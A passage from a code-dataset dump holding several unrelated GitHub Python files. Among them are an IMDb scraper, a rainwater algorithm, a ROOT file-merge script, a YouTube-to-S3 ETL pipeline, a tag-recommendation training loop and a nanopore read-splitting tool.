print(result)\n","repo_name":"richardangell/advent-of-code-2021","sub_path":"Day-07_The-Treachery-of-Whales/puzzle_1.py","file_name":"puzzle_1.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44537672541","text":"from bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport requests\r\nnumber = []\r\nTL = []\r\nRL = []\r\nCL = []\r\nfor i in range(1, 11):\r\n page = requests.get('https://www.imdb.com/list/ls005526372/?sort=list_order,asc&st_dt=&mode=detail&page=' + str(i))\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n movies = soup.find_all('div', class_= 'lister-item mode-detail')\r\n #items = movies.find_all('h3', class_= 'listner-item-header')\r\n \r\n for movie in movies:\r\n for title in movie.find_all('h3', class_= 'lister-item-header'):\r\n number.append(title.find('span', class_='lister-item-index unbold text-primary').get_text())\r\n TL.append(title.find('a').get_text())\r\n for rating in movie.find_all('div', class_= 'ipl-rating-star small'):\r\n RL.append(rating.find('span', class_='ipl-rating-star__rating').get_text())\r\n Starcast = \"\"\r\n for cast in movie.find_all('p',class_='text-muted text-small'):\r\n for star in cast.find_all('a'):\r\n Starcast += star.get_text() + \" \"\r\n CL.append(Starcast)\r\nif(len(number) > len(RL)):\r\n for i in range(len(number) - len(RL)):\r\n RL.append(\"N\\A\")\r\n\r\nimdbList = pd.DataFrame(\r\n {\r\n 'Rank':number,\r\n 'Title':TL,\r\n 'Rating' : RL,\r\n 'Cast' : CL,\r\n }\r\n)\r\nprint(imdbList)\r\nimdbList.to_csv('result.csv')","repo_name":"Rishab427/Backend-project","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13873875649","text":"import sys\r\n\r\nh, w = map(int, sys.stdin.readline().split())\r\narr = list(map(int, sys.stdin.readline().split()))\r\n\r\nmaxh = 1\r\nmaxl = 0\r\nmaxIndex = 0\r\n\r\nfor i in range(len(arr)):\r\n if arr[i] > maxh:\r\n maxh = arr[i]\r\n maxIndex = i\r\n\r\ntotal = 0\r\ntemp = 0\r\nfor i in range(maxIndex+1):\r\n if arr[i] > temp:\r\n temp = arr[i]\r\n total += temp\r\ntemp = 0\r\nfor i in range(w-1, maxIndex, -1):\r\n if arr[i] > temp:\r\n temp = arr[i]\r\n total+=temp\r\n\r\nprint(total - sum(arr))\r\n\r\n\r\n# pivot = arr[0]\r\n# max = arr[0]\r\n# remain = []\r\n# result = 0\r\n# resolve = []\r\n#\r\n#\r\n# for i in range(ssg, len(arr)):\r\n#\r\n# if arr[i] < pivot:\r\n# if arr[i] > max:\r\n# max = arr[i]\r\n# remain.append(arr[i])\r\n# else:\r\n# if remain != None:\r\n# for r in remain:\r\n# result += (pivot - r)\r\n# pivot = arr[i]\r\n# max = 0\r\n# remain = []\r\n#\r\n# temp = 0\r\n#\r\n# for r in range(len(remain)-ssg, 0-ssg, -ssg):\r\n# if remain[r] > temp:\r\n# resolve.append(r)\r\n# temp = remain[r]\r\n# else:\r\n# for i in resolve:\r\n# remain.pop(i)\r\n# break\r\n#\r\n#\r\n# for r in remain:\r\n# result += (max-r)\r\n#\r\n# print(result)\r\n\r\n\r\n\r\n# remain = []\r\n# resolve = []\r\n# result = 0\r\n#\r\n# pivot = arr[0]\r\n# for i in range(ssg, len(arr)):\r\n#\r\n# if pivot > arr[i]:\r\n# max = arr[i]\r\n# for j in range(i, len(arr)):\r\n# # pivot보다 크거나 같을때\r\n# if arr[j] >= pivot:\r\n# print(\"break here! j=\", j)\r\n# max = arr[j]\r\n# pivot = arr[j]\r\n# i = j\r\n# break\r\n# if arr[j] > max:\r\n# max = arr[j]\r\n#\r\n# remain.append(arr[j])\r\n# i = j\r\n#\r\n# print(remain)\r\n#\r\n#\r\n# for k in remain:\r\n# result += (k-max)\r\n#\r\n# else:\r\n# print(\"else\")\r\n# pivot = arr[i]\r\n#\r\n# print(result)","repo_name":"whiskey21/my-algorithm-book","sub_path":"홍익_자주동/1주차/빗물.py","file_name":"빗물.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15336966649","text":"import os, argparse\nimport glob\n\ndef strInList(in_str, in_list):\n \n for el in in_list:\n if in_str in el: return True\n return False\n\n\nargParser = argparse.ArgumentParser(description = \"Argument parser\")\nargParser.add_argument('--inData', action='store', default=False) \nargParser.add_argument('--year', action='store', default='2016') \nargs = argParser.parse_args()\n\nif args.inData:\n inData_str='DATA'\nelse:\n inData_str='MC'\ninput_dir = '/user/lwezenbe/private/PhD/Code/TauStudy/FakeRate/ClosureTest/Data/'+args.year+'/'+inData_str\n\nsampleNames = [x.rsplit('/', 1)[-1] for x in glob.glob(input_dir+'/*')]\n\nvarNames = ['ptTau', 'etaTau', 'Mll', 'met']\nif not args.inData:\n categNames = ['Categ_C', 'Categ_D', 'Categ_E', 'Categ_F', 'Check']\nelse:\n categNames = ['inData']\n\nfor sample in sampleNames:\n all_file_names = glob.glob(input_dir+'/'+sample+'/*subJob*root')\n for var in varNames:\n if not strInList(var, all_file_names): continue\n for categ in categNames:\n if not strInList(categ, all_file_names): continue\n os.system('hadd -f ' + input_dir + '/'+ sample +'/' +categ+'_' + var + '.root ' + input_dir + '/'+ sample +'/*_'+categ+'_' + var + '.root') \n os.system('rm ' +input_dir + '/'+ sample +'/*_' +categ+'_' + var + '.root') \n","repo_name":"lwezenbe/TauStudy","sub_path":"FakeRate/ClosureTest/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23414574038","text":"\"\"\"\nTest utils module.\n\"\"\"\n\nfrom os import path\nimport unittest\nimport logging\n\nfrom aws_scripts.utils import mkdir, Opener, opener\n\nfrom __init__ import TestBase, get_testfile\nlog = logging.getLogger(__name__)\n\n\nclass Args(object):\n\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\n\nclass TestOpener(TestBase):\n\n def setUp(self):\n with open(get_testfile('lorem.txt')) as f:\n self.firstline = f.next()\n\n def test01(self):\n for suffix in ['txt', 'gz', 'bz2']:\n fn = get_testfile('lorem.' + suffix)\n fobj = opener(fn)\n self.assertEqual(fobj.next(), self.firstline)\n\n def test02(self):\n for suffix in ['txt', 'gz', 'bz2']:\n fn = get_testfile('lorem.' + suffix)\n fobj = opener(fn, 'r')\n self.assertEqual(fobj.next(), self.firstline)\n","repo_name":"sheenamt/aws_scripts","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41167702407","text":"# x = 25\n\n# def printer():\n# x = 50\n# return x\n\n# print(printer())\n\n# LEGB rule\n# L: local?\n# E: enclosing function local\n# G; global?\n# B: built in\n\nname = 'this is a global string'\n\ndef greet():\n name = 'sammy' # comment and uncomment this \n\n def hello():\n print('hello ' + name)\n\n hello()\n\ngreet()\n\n\n\nx = 50\ndef func():\n global x # jump to global x\n print(f'x is {x}')\n\n x = 'new val'\n print(f'i just locally changed x to {x}')\n return x\n\nfunc()\nprint(x)","repo_name":"Jaeja-Phil/udemy_python","sub_path":"06.methods_and_functions/05.nested_statement_scope.py","file_name":"05.nested_statement_scope.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25206442085","text":"import json\r\nimport requests\r\nimport config\r\nimport pandas as pd\r\nimport datetime\r\nimport boto3\r\nimport os\r\n\r\n\r\nimport logging\r\n\r\n# Set up logging configuration\r\n# Create a directory in the script's location\r\nlog_directory = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"log\")\r\nos.makedirs(log_directory, exist_ok=True)\r\n\r\nlog_file_path = os.path.join(log_directory, f\"logfile_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.log\")\r\n\r\nlogging.basicConfig(\r\n level=logging.DEBUG,\r\n format=\"%(asctime)s - %(levelname)s - %(message)s\",\r\n handlers=[\r\n logging.FileHandler(filename=log_file_path),\r\n logging.StreamHandler()\r\n ]\r\n)\r\n\r\nlogger = logging.getLogger()\r\n\r\n# Function to make API request\r\ndef make_api_request(url, params):\r\n try:\r\n response = requests.get(url, params=params, timeout=10)\r\n response.raise_for_status()\r\n return json.loads(response.content)[\"items\"]\r\n except requests.exceptions.RequestException as e:\r\n logger.error(f\"Error making API request: {e}\")\r\n return None\r\n except (json.JSONDecodeError, KeyError) as e:\r\n logger.error(f\"Error parsing API response: {e}\")\r\n return None\r\n\r\ndef get_trending_videos():\r\n \"\"\"Gets the list of trending videos for the given regions.\"\"\"\r\n\r\n api_key = config.API_KEY\r\n regions = [ \"IN\", \"GB\", \"US\" ]\r\n videos = []\r\n\r\n for region in regions:\r\n url = \"https://www.googleapis.com/youtube/v3/videos\"\r\n params = {\r\n \"part\": \"snippet, statistics\",\r\n \"regionCode\": region,\r\n \"type\": \"video\",\r\n \"chart\": \"mostPopular\",\r\n \"maxResults\": 20,\r\n \"key\": api_key\r\n }\r\n\r\n # Make API request to get trending videos\r\n data = make_api_request(url, params)\r\n if data is not None:\r\n # Process and format the video data by adding the region and rank information \r\n data = [{**video, \"region\": region, \"rank\": rank + 1} for rank, video in enumerate(data)]\r\n videos.extend(data)\r\n\r\n return videos\r\n\r\ndef tranform_data( videos ):\r\n \"\"\"Extract the the required infromation from the meta data\"\"\"\r\n video_list = []\r\n for video in videos:\r\n video_dict = dict()\r\n video_dict['region'] = video.get('region')\r\n video_dict['video_ID'] = video.get('id')\r\n video_dict['category_ID'] = video['snippet'].get('categoryId')\r\n video_dict['channel_Title'] = video['snippet'].get('channelTitle')\r\n video_dict['title'] = video['snippet']['localized'].get('title')\r\n video_dict['published_date'] = datetime.datetime.strptime(video['snippet'].get('publishedAt'), \"%Y-%m-%dT%H:%M:%SZ\") if video['snippet'].get('publishedAt') else None\r\n video_dict['rank'] = video.get('rank')\r\n video_dict['tags'] = video['snippet'].get('tags')\r\n video_dict['number_of_comments'] = video['statistics'].get('commentCount')\r\n video_dict['like_Count'] = video['statistics'].get('likeCount')\r\n video_dict['view_Count'] = video['statistics'].get('viewCount')\r\n \r\n video_list.append(video_dict)\r\n\r\n # Add todays date as a column in the dataframe\r\n today = datetime.date.today()\r\n video_df = pd.DataFrame( video_list )\r\n\r\n video_df.insert(0, 'Date', today)\r\n\r\n return video_df\r\n\r\n\r\ndef upload_dataframe_to_s3(dataframe, bucket_name, key):\r\n # Convert DataFrame to CSV string\r\n csv_buffer = dataframe.to_csv(index=False)\r\n\r\n # create a boto3 session\r\n session = boto3.Session(\r\n region_name='us-west-2',\r\n aws_access_key_id=config.aws_access_key,\r\n aws_secret_access_key=config.aws_secret_key\r\n )\r\n\r\n s3 = session.client('s3')\r\n\r\n # Upload CSV data directly to S3 bucket\r\n # Encode CSV string as bytes\r\n try:\r\n response = s3.put_object(\r\n Body=csv_buffer.encode('utf-8'),\r\n Bucket=bucket_name,\r\n Key=key\r\n )\r\n except Exception as e:\r\n logger.error(f\"Failed to upload file '{key}' to S3 bucket '{bucket_name}'\")\r\n logger.error(f'exception message: {e}')\r\n return False\r\n\r\n if response['ResponseMetadata']['HTTPStatusCode'] == 200:\r\n logger.info(f\"File '{key}' uploaded successfully to S3 bucket '{bucket_name}'\")\r\n else:\r\n logger.error(f\"Failed to upload file '{key}' to S3 bucket '{bucket_name}'\")\r\n\r\ndef load_data( df ):\r\n \"\"\"define the bucket name and filename and upload the data to s3\"\"\"\r\n bucket_name = \"youtube-etl-airflow\"\r\n filename = f\"youtube_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.csv\"\r\n\r\n # Upload the DataFrame to S3 bucket\r\n upload_dataframe_to_s3(df, bucket_name, filename)","repo_name":"raamganesh/airflow-youtube-pipeline","sub_path":"extraction.py","file_name":"extraction.py","file_ext":"py","file_size_in_byte":4722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"827916337","text":"import datetime\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom loader import TagRecDataset\nfrom models import STR, SimpleX\nfrom utils import RecHelper, TagRecHelper, load_bili, load_bili_2, load_public, printt, set_seed, USER_COL, ITEM_COL\nfrom config import str_config, str_config_best_yelp, str_config_gowalla, str_config_yelp, simplex_config, sweep_configuration, mf_bpr_config\nfrom matplotlib import pyplot as plt\nimport random\n\ntry:\n import wandb\nexcept Exception:\n use_wandb = False\nuse_wandb = True\n\nnow = datetime.datetime.now()\n\ndef run(model: torch.nn.Module, helper: TagRecHelper, config: dict, dataset: str):\n set_seed(47)\n train_ds = TagRecDataset(helper.train_set)\n # seed = random.randint(0, 100000)\n print('init model...')\n model = model(helper, config=config)\n total_params = sum(p.numel() for p in model.parameters())\n print(f'{\"Total parameters:\":20} {total_params}')\n print(f'{\"Number of users:\":20} {model.nuser}')\n print(f'{\"Number of items:\":20} {model.nitem}')\n if use_wandb:\n wandb.watch(model)\n loader = DataLoader(train_ds, batch_size=config.get(\n 'batch_size', 512), num_workers=2, shuffle=True, pin_memory=True)\n optimizer = torch.optim.Adam(model.parameters(), lr=config.get(\n 'lr', 1e-3), weight_decay=config.get('weight_decay', 1e-5))\n\n printt('Hyperparameters')\n for k, v in config.items():\n print(f'{f\"{k}:\":20} {v}')\n\n if dataset == 'bilibili':\n rec_helper = RecHelper(model, helper)\n patience_init = 2\n patience = patience_init\n current_max = 0\n printt('Start training...')\n best_model = None\n best_res_df = None\n best_res_mean_df = None\n for epoch in range(config.get('n_epoch', 10)):\n loader = tqdm(loader, ascii=\" #\", desc=f\"Epoch {epoch+1:02d}\", total=len(\n loader), bar_format=\"{desc}: {percentage:3.0f}%|{bar}| {n_fmt:5s}/{total_fmt:5s} [{elapsed}<{remaining}] {postfix}]\")\n model.train()\n train(model, optimizer, loader)\n model.eval()\n if dataset == 'bilibili':\n rec_list = rec_helper.get_rec_tags('1850091')\n print(f'for 1850091: {rec_list}')\n res_df, res_mean_df = helper.test(model, should_mask=dataset != 'bilibili')\n res_mean = res_mean_df.values[0]\n if use_wandb:\n wandb.log({\n 'Recall': res_mean[0],\n 'Precision': res_mean[1],\n 'F1': res_mean[2],\n 'NDCG': res_mean[3],\n 'MAP': res_mean[4],\n 'MRR': res_mean[5],\n 'HitRate': res_mean[6],\n })\n # early stopping & save best model\n if res_mean[3] > current_max:\n current_max = res_mean[3]\n best_model = model.state_dict()\n best_res_mean_df = res_mean_df\n best_res_df = res_df\n patience = patience_init\n else:\n patience -= 1\n if patience == 0:\n break\n printt('Training finished.')\n print(f'Best NDCG: {current_max}')\n print(f'Best result: \\n {best_res_mean_df}')\n \n should_save = True\n if should_save:\n path = f'./output/{model.__class__.__name__}-{dataset}_model.pth'\n best_res_df.to_csv(f'./output/{model.__class__.__name__}-{dataset}_result_{now.strftime(\"%Y%m%d%H%M%S\")}.csv')\n torch.save(best_model, path)\n print(f'Model saved to {path}')\n\n\ndef record_neptune_data(neptune_run, res_mean):\n neptune_run['Recall'].log(res_mean[0])\n neptune_run['Precision'].log(res_mean[1])\n neptune_run['F1'].log(res_mean[2])\n neptune_run['NDCG'].log(res_mean[3])\n neptune_run['MAP'].log(res_mean[4])\n neptune_run['MRR'].log(res_mean[5])\n neptune_run['HitRate'].log(res_mean[6])\n\n\ndef train(model, optimizer, loader):\n scaler = torch.cuda.amp.GradScaler()\n for u, i, g in loader:\n u = u.to(model.device)\n i = i.to(model.device)\n g = g.to(model.device)\n optimizer.zero_grad() \n with torch.cuda.amp.autocast():\n if model.__class__.__name__ == 'SimpleX':\n loss = model(u, i)\n elif model.__class__.__name__ == 'STR':\n loss = model(u, i, g)\n scaler.scale(loss).backward()\n # torch.nn.utils.clip_grad_norm_(model.parameters(), 10.)\n scaler.step(optimizer)\n scaler.update()\n loader.set_postfix(loss=f'{loss.item():08.3f}')\n if use_wandb:\n wandb.log({'loss': loss.item()})\n\n\nif __name__ == '__main__':\n config = str_config\n model_name = 'STR'\n dataset = 'bilibili'\n \n trd = load_bili_2() if dataset == 'bilibili' else load_public(dataset)\n if model_name == 'STR':\n model = STR\n elif model_name == 'SimpleX':\n model = SimpleX\n \n sweep = False\n if not sweep:\n if use_wandb: wandb.init(project=f\"{model_name}-{dataset}\", entity=\"jannchie\", name=f\"{now.strftime('%Y%m%d%H%M%S')}\")\n if use_wandb: wandb.config.update(config)\n run(model, trd, config, dataset)\n else:\n def run_sweep():\n wandb.init(name=f\"{now.strftime('%Y%m%d%H%M%S')}\")\n run(model, trd, wandb.config, dataset)\n\n if use_wandb:\n wandb.login()\n sweep_id = wandb.sweep(sweep=sweep_configuration,\n project=f\"{model_name}-{dataset}\", entity=\"jannchie\")\n wandb.agent(sweep_id, function=run_sweep)\n","repo_name":"Jannchie/STR","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33341766178","text":"\"\"\"Split reads containing internal adapter sequences.\"\"\"\nfrom argparse import ArgumentDefaultsHelpFormatter, ArgumentParser\nfrom concurrent.futures import ProcessPoolExecutor\nimport functools\nimport gzip\nfrom pathlib import Path\nimport pickle\nimport sys\n\nimport edlib\nfrom more_itertools import pairwise\nfrom natsort import natsorted\nimport numpy as np\nfrom pyfastx import Fastx\nfrom tqdm import tqdm\n\nimport duplex_tools\n\nEDIT_THRESHOLDS = {'PCR': 45, 'Native': 9}\nmask_size_default_head = 5\nmask_size_default_tail = 14\nmask_size_default_N = 11\nHEAD_ADAPTER = 'AATGTACTTCGTTCAGTTACGTATTGCT'\nTAIL_ADAPTER = 'GCAATACGTAACTGAACGAAGT'\nrctrans = str.maketrans('ACGT', 'TGCA')\n\n\ndef rev_comp(seq):\n \"\"\"Reverse complement a DNA sequence.\"\"\"\n return str.translate(seq, rctrans)[::-1]\n\n\ndef build_targets(\n n_bases_to_mask_head, n_bases_to_mask_tail, degenerate_bases=None,\n pcr_primers=(\n 'ACTTGCCTGTCGCTCTATCTTCGGCGTCTGCTTGGGTGTTTAACC',\n 'TTTCTGTTGGTGCTGATATTGCGGCGTCTGCTTGGGTGTTTAACCT'),\n head_adapter=HEAD_ADAPTER, tail_adapter=TAIL_ADAPTER,\n n_replacement=None):\n \"\"\"Build some targets.\"\"\"\n if degenerate_bases is None:\n degenerate_bases = n_bases_to_mask_head + n_bases_to_mask_tail\n\n if n_replacement is None:\n middle_sequence = 'N' * degenerate_bases\n else:\n middle_sequence = n_replacement\n\n targets = {\n 'Native': [\n (tail_adapter[:len(tail_adapter) - n_bases_to_mask_tail]\n + middle_sequence\n + head_adapter[n_bases_to_mask_head:])],\n 'PCR': [\n (rev_comp(x)\n + tail_adapter[:len(tail_adapter) - n_bases_to_mask_tail]\n + middle_sequence + head_adapter[n_bases_to_mask_head:] + y)\n for x in pcr_primers for y in pcr_primers]\n }\n return targets\n\n\ndef find_mid_adaptor(\n seq, targets, print_alignment=False, print_threshold=10,\n print_id=None, trim_start=200, trim_end=200):\n \"\"\"Find adapters in middle of reads.\"\"\"\n seq = seq[trim_start:-trim_end or None] # remove start and end adaptor\n results = [\n edlib.align(\n target, seq, mode=\"HW\", task=\"path\",\n additionalEqualities=(\n ('N', 'A'), ('N', 'C'), ('N', 'G'), ('N', 'T')))\n for target in targets]\n if print_alignment:\n alignments = [\n edlib.getNiceAlignment(result, target, seq)\n for result, target in zip(results, targets)\n if result['cigar'] is not None]\n for alignment, result in zip(alignments, results):\n if result['editDistance'] < print_threshold:\n print(f\"{print_id} editdistance-{result['editDistance']}\")\n print(\"\\n\".join(alignment.values()))\n\n i = np.argmin([x['editDistance'] for x in results])\n res = results[i]\n if res['cigar'] is not None:\n res['locations'] = [\n (x + trim_start, y + trim_start)\n for (x, y) in res['locations']]\n return res\n\n\ndef write_match_to_fasta(file, seq, start, end, read_id):\n \"\"\"Write matches to fasta.\"\"\"\n matchlen = end - start\n matchlen_half = matchlen // 2\n seq_left = seq[(start + matchlen_half - 100):start]\n seq_mid = seq[start:end]\n seq_right = seq[end:(end - matchlen_half + 100)]\n fullseq = ''.join([seq_left, seq_mid, seq_right])\n if len(fullseq) > 0:\n file.write(f'>{read_id}\\n{fullseq}\\n')\n\n\ndef deduplicate_locations_first_key(result):\n \"\"\"Deduplicate locations.\"\"\"\n result['locations'] = sorted(\n list({x: y for x, y in reversed(result['locations'])}.items()))\n return result\n\n\ndef process_file(\n fastx, targets, output_dir=None,\n debug_output=False,\n edit_threshold=None,\n print_alignment=False,\n print_threshold_delta=0,\n allow_multiple_splits=False,\n trim_start=200,\n trim_end=200\n ):\n \"\"\"Run the workflow on a single file.\"\"\"\n newfastx = fastx.with_name(\n fastx.name.replace('.fastq',\n '').replace('.gz',\n '') + '_split').with_suffix('.fastq.gz')\n if output_dir is not None:\n newfastx = Path(output_dir) / newfastx.name\n if debug_output:\n newfasta = Path(output_dir) / Path(\n fastx.stem.split('.')[0] + '_middle').with_suffix('.fasta')\n fasta = open(newfasta, 'w')\n edited_reads = set()\n unedited_reads = set()\n split_multiple_times = set()\n\n nwritten = 0\n with gzip.open(newfastx, mode='wt', compresslevel=1) as outfh:\n\n for read_id, seq, qual, comments in \\\n tqdm(Fastx(str(fastx), comment=True), leave=False):\n result = find_mid_adaptor(\n seq, targets,\n print_alignment=print_alignment,\n print_threshold=edit_threshold + print_threshold_delta,\n print_id=read_id,\n trim_start=trim_start,\n trim_end=trim_end)\n\n if result['editDistance'] < edit_threshold:\n result = deduplicate_locations_first_key(result)\n if not allow_multiple_splits and len(result['locations']) > 1:\n outfh.write(f'@{read_id} {comments}\\n{seq}\\n+\\n{qual}\\n')\n split_multiple_times.add(read_id)\n nwritten += 1\n continue\n else:\n hits = []\n edited_reads.add(read_id)\n for left_hit, right_hit in pairwise(\n [(0, 0), *result['locations'], (len(seq),\n len(seq))]):\n hits.append([left_hit[1], right_hit[0]])\n for idx, (start, end) in enumerate(hits, start=1):\n if debug_output:\n write_match_to_fasta(fasta,\n seq,\n start,\n end,\n read_id)\n # This edge case can happen and results in empty\n # sequence\n if end <= start:\n continue\n subseq = seq[start:end]\n subqual = qual[start:end]\n h = (f'@{read_id}_{idx} {comments} {start}->{end}\\n'\n f'{subseq}\\n'\n f'+\\n'\n f'{subqual}\\n')\n outfh.write(h)\n nwritten += 1\n else:\n outfh.write(f'@{read_id} {comments}\\n{seq}\\n+\\n{qual}\\n')\n unedited_reads.add(read_id)\n if debug_output:\n fasta.close()\n return edited_reads, unedited_reads, split_multiple_times, nwritten\n\n\ndef split(\n fastq_dir,\n output_dir=None,\n type=\"Native\",\n n_bases_to_mask_tail=mask_size_default_tail,\n n_bases_to_mask_head=mask_size_default_head,\n degenerate_bases=mask_size_default_N,\n debug_output=False,\n edit_threshold=None,\n n_replacement=None,\n pattern='*.fastq*', print_alignment=False,\n print_threshold_delta=0,\n threads=None,\n allow_multiple_splits=False,\n trim_start=200,\n trim_end=200,\n ):\n \"\"\"Split reads.\n\n :param fastq_dir: The directory from which to search for\n fastq/fasta files to split.\n :param output_dir: Output directory for fastq.\n :param type: The type of sample, either Native or PCR\n :param n_bases_to_mask_tail: Number of bases to mask from the\n tail adapter (number of bases at the end of read)\n :param n_bases_to_mask_head: Number of bases to mask from the\n head adapter (number of bases at the start of read)\n :param degenerate_bases: count of N's between tail and\n head adapter (defaults to n_bases_to_mask_tail + n_bases_to_mask_head)\n :param debug_output: Output additional files helpful for debugging.\n :param edit_threshold: The threshold at which to split reads. Reads\n with edit distance below this value will be split\n :param n_replacement: Optional sequence to use as replacement\n of the masked bases. Can be used if the call is\n :param pattern: The pattern to use for matching fastq/fasta files.\n :param print_alignment: Whether to pretty-print the alignment\n at each match.\n :param print_threshold_delta: The threshold to print the\n alignment at, relative to edit_threshold\n :param threads: number of worker threads.\n :param allow_multiple_splits: Allow reads to be split more than once\n :param trim_start: How many bases to trim (mask) from the\n beginning of the strand\n :param trim_end: How many bases to trim (mask) from the end of the strand\n \"\"\"\n logger = duplex_tools.get_named_logger(\"SplitOnAdapters\")\n logger.info(f'Duplex tools version: {duplex_tools.__version__}')\n fastxs = natsorted(list(Path(fastq_dir).rglob(pattern)), key=str)\n if output_dir is not None:\n output = Path(output_dir)\n try:\n output.mkdir()\n except FileExistsError:\n print(\"The output directory should not pre-exist.\")\n sys.exit(1)\n\n targets = build_targets(\n n_bases_to_mask_head=n_bases_to_mask_head,\n n_bases_to_mask_tail=n_bases_to_mask_tail,\n degenerate_bases=degenerate_bases,\n n_replacement=n_replacement)[type]\n if edit_threshold is None:\n edit_threshold = EDIT_THRESHOLDS[type]\n edited_reads = set()\n unedited_reads = set()\n split_multiple_times = set()\n worker = functools.partial(\n process_file,\n targets=targets, output_dir=output_dir,\n debug_output=debug_output,\n edit_threshold=edit_threshold,\n print_alignment=print_alignment,\n print_threshold_delta=print_threshold_delta,\n allow_multiple_splits=allow_multiple_splits,\n trim_start=trim_start,\n trim_end=trim_end,\n )\n\n with ProcessPoolExecutor(max_workers=threads) as executor:\n results = executor.map(worker, fastxs)\n total_written = 0\n for edited, unedited, multi, nwritten in results:\n edited_reads.update(edited)\n unedited_reads.update(unedited)\n split_multiple_times.update(multi)\n total_written += nwritten\n\n with open(Path(output, 'edited.pkl'), 'wb') as handle:\n pickle.dump(edited_reads, handle)\n with open(Path(output, 'unedited.pkl'), 'wb') as handle:\n pickle.dump(unedited_reads, handle)\n if not allow_multiple_splits:\n with open(Path(output, 'split_multiple_times.pkl'), 'wb') as handle:\n pickle.dump(split_multiple_times, handle)\n nedited_reads = len(edited_reads)\n nunedited_reads = len(unedited_reads)\n n_multisplit = len(split_multiple_times)\n logger.info(f'Split {nedited_reads} reads\\n'\n f'Kept {nunedited_reads} reads')\n logger.info(f'Wrote a total of {total_written} reads')\n if not allow_multiple_splits:\n logger.info(f'{n_multisplit} reads contained multiple'\n f' adapters but we re written out as single reads '\n f'(to split these, set --allow-multiple-splits')\n\n\ndef argparser():\n \"\"\"Create argument parser.\"\"\"\n parser = ArgumentParser(\n \"Split basecalls based on adapter sequences.\",\n formatter_class=ArgumentDefaultsHelpFormatter,\n parents=[duplex_tools._log_level()], add_help=False)\n\n default = ' (default: %(default)s)'\n parser.add_argument(\n \"fastq_dir\",\n help=\"The directory to search for fastq/fasta files to split.\")\n parser.add_argument(\n \"output_dir\",\n help=\"Output directory for fastq.\")\n parser.add_argument(\n \"sample_type\", choices=[\"Native\", \"PCR\"],\n help=\"Sample type.\")\n parser.add_argument(\n \"--pattern\", default=\"*.fastq*\",\n help=\"Pattern used for matching fastq/fasta files.\" + default)\n parser.add_argument(\n \"--threads\", default=None, type=int,\n help=(\n \"Number of worker threads. \"\n \"Equal to number of logical CPUs by default.\"))\n parser.add_argument(\n \"--n_bases_to_mask_tail\", default=mask_size_default_tail, type=int,\n help=(\n \"Number of bases to mask from the tail adapter \"\n \"(number of bases at the end of read).\" + default))\n parser.add_argument(\n \"--n_bases_to_mask_head\", default=mask_size_default_head, type=int,\n help=(\n \"Number of bases to mask from the head adapter \"\n \"(number of bases at the start of read).\" + default))\n parser.add_argument(\n \"--degenerate_bases\", default=mask_size_default_N, type=int,\n help=(\n \"Count of N's between tail and head adapter \"\n \"(defaults to n_bases_to_mask_tail + n_bases_to_mask_head).\"))\n parser.add_argument(\n \"--debug_output\", action=\"store_true\",\n help=(\n \"Output an additional debug file to show the adapter region\"))\n parser.add_argument(\n \"--edit_threshold\", default=None, type=int,\n help=(\n \"The threshold at which to split reads. Reads with edit distance \"\n \"below this value will be split.\"))\n parser.add_argument(\n \"--n_replacement\", default=None, type=str,\n help=\"Optional sequence to use as replacement of the masked bases.\")\n parser.add_argument(\n \"--print_alignment\", action=\"store_true\",\n help=\"Pretty-print the alignment at each match.\")\n parser.add_argument(\n \"--print_threshold_delta\", default=0, type=int,\n help=\"Threshold to print the alignment, \"\n \"relative to edit_threshold.\" + default)\n parser.add_argument(\n \"--allow_multiple_splits\", action=\"store_true\",\n help=\"Whether to split reads into more than 2 new reads if there\"\n \" are multiple hits\")\n parser.add_argument(\n \"--trim_start\", default=200, type=int,\n help=\"How many bases to trim (mask) \"\n \"from the beginning of the strand\" + default)\n parser.add_argument(\n \"--trim_end\", default=200, type=int,\n help=\"How many bases to trim (mask) \"\n \"from the end of the strand\" + default)\n return parser\n\n\ndef main(args):\n \"\"\"Entry point.\"\"\"\n split(\n args.fastq_dir,\n args.output_dir,\n args.sample_type,\n args.n_bases_to_mask_tail,\n args.n_bases_to_mask_head,\n args.degenerate_bases,\n args.debug_output,\n args.edit_threshold,\n args.n_replacement,\n args.pattern,\n args.print_alignment,\n args.print_threshold_delta,\n args.threads,\n args.allow_multiple_splits,\n args.trim_start,\n args.trim_end,\n )\n","repo_name":"nanoporetech/duplex-tools","sub_path":"duplex_tools/split_on_adapter.py","file_name":"split_on_adapter.py","file_ext":"py","file_size_in_byte":15028,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"61"} +{"seq_id":"24171044944","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nimport torch\nimport torch.nn as nn\n\n\n# In[20]:\n\n\nclass Model(nn.Module):\n def __init__(self, input_dimension, output_dimension):\n super(Model, self).__init__()\n self.linear = nn.Linear(input_dimension, output_dimension) \n\n def 